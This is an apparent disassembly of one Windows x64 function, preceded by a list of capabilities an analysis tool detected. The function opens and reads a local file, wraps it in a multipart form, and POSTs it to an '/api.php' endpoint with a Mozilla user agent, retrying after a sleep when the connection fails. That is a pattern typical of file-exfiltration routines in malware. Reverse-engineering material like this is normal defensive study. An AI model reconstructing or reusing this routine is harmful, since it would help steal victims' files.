Function at 0x1400382d0
Capabilities:
Create http request
Get file size
Read and send data from client to server
Read file on windows
Reference http user-agent string
Send data
Send http request
Set current directory

Disassembly:
mov rax, rsp
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rax - 0x878]
sub rsp, 0x950
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rsi
lea rcx, [rbp + 0x10]
call fcn.140040fb8
mov qword [rsp + 0x58], 0xf
xor edi, edi
mov qword [rsp + 0x50], rdi
mov byte [rsp + 0x40], dil
or rbx, 0xffffffffffffffff
cmp byte [rbp + 0x10], dil
jne 0x140038326
mov r8d, edi
jmp 0x140038336
lea rax, [rbp + 0x10]
mov r8, rbx
inc r8
cmp byte [rax + r8], dil
jne 0x14003832d
lea rdx, [rbp + 0x10]
lea rcx, [rsp + 0x40]
call fcn.14000157c
nop
lea r8, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae r8, qword [rsp + 0x40]
add r8, qword [rsp + 0x50]
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae rdx, qword [rsp + 0x40]
mov esi, 7
mov qword [rbp - 0x68], rsi
mov qword [rbp - 0x70], rdi
mov word [rbp - 0x80], di
lea rcx, [rbp - 0x80]
call fcn.14000fc74
nop
lea rcx, [rbp - 0x60]
call fcn.140040f20
nop
lea r8, [0x140052f1c]
lea rdx, [rbp - 0x60]
lea rcx, [rbp - 0x40]
call fcn.140006058
nop
lea r8, [rbp - 0x80]
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.14000fc20
nop
cmp qword [rbp - 0x28], 8
jb 0x1400383c8
mov rcx, qword [rbp - 0x40]
call fcn.14001ddec
mov qword [rbp - 0x28], rsi
mov qword [rbp - 0x30], rdi
mov word [rbp - 0x40], di
lea rcx, [rsp + 0x60]
cmp qword [rsp + 0x78], 8
cmovae rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], 3
xor r9d, r9d
lea r14d, [r9 + 1]
mov r8d, r14d
mov edx, 0x80000000
lea rcx, [0x1400543b0]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r15, rax
cmp rax, rbx
je 0x1400385fd
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov r12d, eax
mov byte [rbp - 0x18], dil
xor edx, edx
lea r8d, [r14 + 0x26]
lea rcx, [rbp - 0x17]
call fcn.140020ea0
lea rcx, [rbp - 0x18]
call fcn.140040fb8
lea r9, [rbp - 0x18]
lea r8, [0x140052f2c]
lea rdx, str.______7d82751e2bc0858_r_nContent_Disposition:_form_data__name__s___filename__s__r_nContent_Type:_application_octet_stream_r_nContent_Transfer_Encoding:_binary_r_n_r_n
lea rcx, [rbp + 0x50]
call qword [sym.imp.USER32.dll_wsprintfA]
mov ebx, 0x1388
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
mov edx, r14d
lea rcx, str.Mozilla_5.0
call qword [sym.imp.WININET.dll_InternetOpenW]
test rax, rax
jne 0x140038498
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14003846f
lea rdx, [0x1400665b0]
cmp qword [0x1400665c8], 8
cmovae rdx, qword [0x1400665b0]
mov r8d, 0x50
mov qword [rsp + 0x38], rdi
mov dword [rsp + 0x30], edi
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], rdi
xor r9d, r9d
mov rcx, rax
call qword [0x140068e58]
test rax, rax
je 0x14003848e
mov qword [rsp + 0x38], rdi
mov dword [rsp + 0x30], edi
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
xor r9d, r9d
lea r8, str._api.php
lea rdx, str.POST
mov rcx, rax
call qword [sym.imp.WININET.dll_HttpOpenRequestW]
mov r14, rax
lea rcx, str._r_n______7d82751e2bc0858___r_n
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebx, eax
lea rcx, [rbp + 0x50]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
lea eax, [r12 + rbx]
add esi, eax
mov ecx, esi
call fcn.14001fc50
mov rdi, rax
lea rcx, [rbp + 0x50]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
movsxd r8, eax
lea rdx, [rbp + 0x50]
mov rcx, rdi
call fcn.14001d750
lea rcx, [rbp + 0x50]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
movsxd rdx, eax
add rdx, rdi
and qword [rsp + 0x20], 0
lea r9, [rbp + 0x880]
mov r8d, r12d
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_ReadFile]
lea rcx, str._r_n______7d82751e2bc0858___r_n
call qword [sym.imp.KERNEL32.dll_lstrlenA]
movsxd rbx, eax
lea rcx, [rbp + 0x50]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
lea ecx, [r12 + rax]
add rcx, rdi
mov r8, rbx
lea rdx, str._r_n______7d82751e2bc0858___r_n
call fcn.14001d750
lea rcx, str.Content_Type:_multipart_form_data__boundary____7d82751e2bc0858
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov r8d, eax
mov dword [rsp + 0x20], esi
mov r9, rdi
lea rdx, str.Content_Type:_multipart_form_data__boundary____7d82751e2bc0858
mov rcx, r14
call qword [sym.imp.WININET.dll_HttpSendRequestA]
lea r9, [rbp + 0x888]
mov r8d, 0x400
lea rdx, [rbp + 0x450]
mov rcx, r14
call qword [0x140068e80]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edi, edi
mov ebx, edi
lea esi, [rdi + 7]
cmp qword [rsp + 0x78], 8
jb 0x14003860f
mov rcx, qword [rsp + 0x60]
call fcn.14001ddec
mov qword [rsp + 0x78], rsi
mov qword [rsp + 0x70], rdi
mov word [rsp + 0x60], di
cmp qword [rbp - 0x48], 8
jb 0x14003862e
mov rcx, qword [rbp - 0x60]
call fcn.14001ddec
mov qword [rbp - 0x48], rsi
mov qword [rbp - 0x50], rdi
mov word [rbp - 0x60], di
cmp qword [rbp - 0x68], 8
jb 0x14003864b
mov rcx, qword [rbp - 0x80]
call fcn.14001ddec
nop
cmp qword [rsp + 0x58], 0x10
jb 0x14003865d
mov rcx, qword [rsp + 0x40]
call fcn.14001ddec
mov eax, ebx
lea r11, [rsp + 0x950]
mov rbx, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret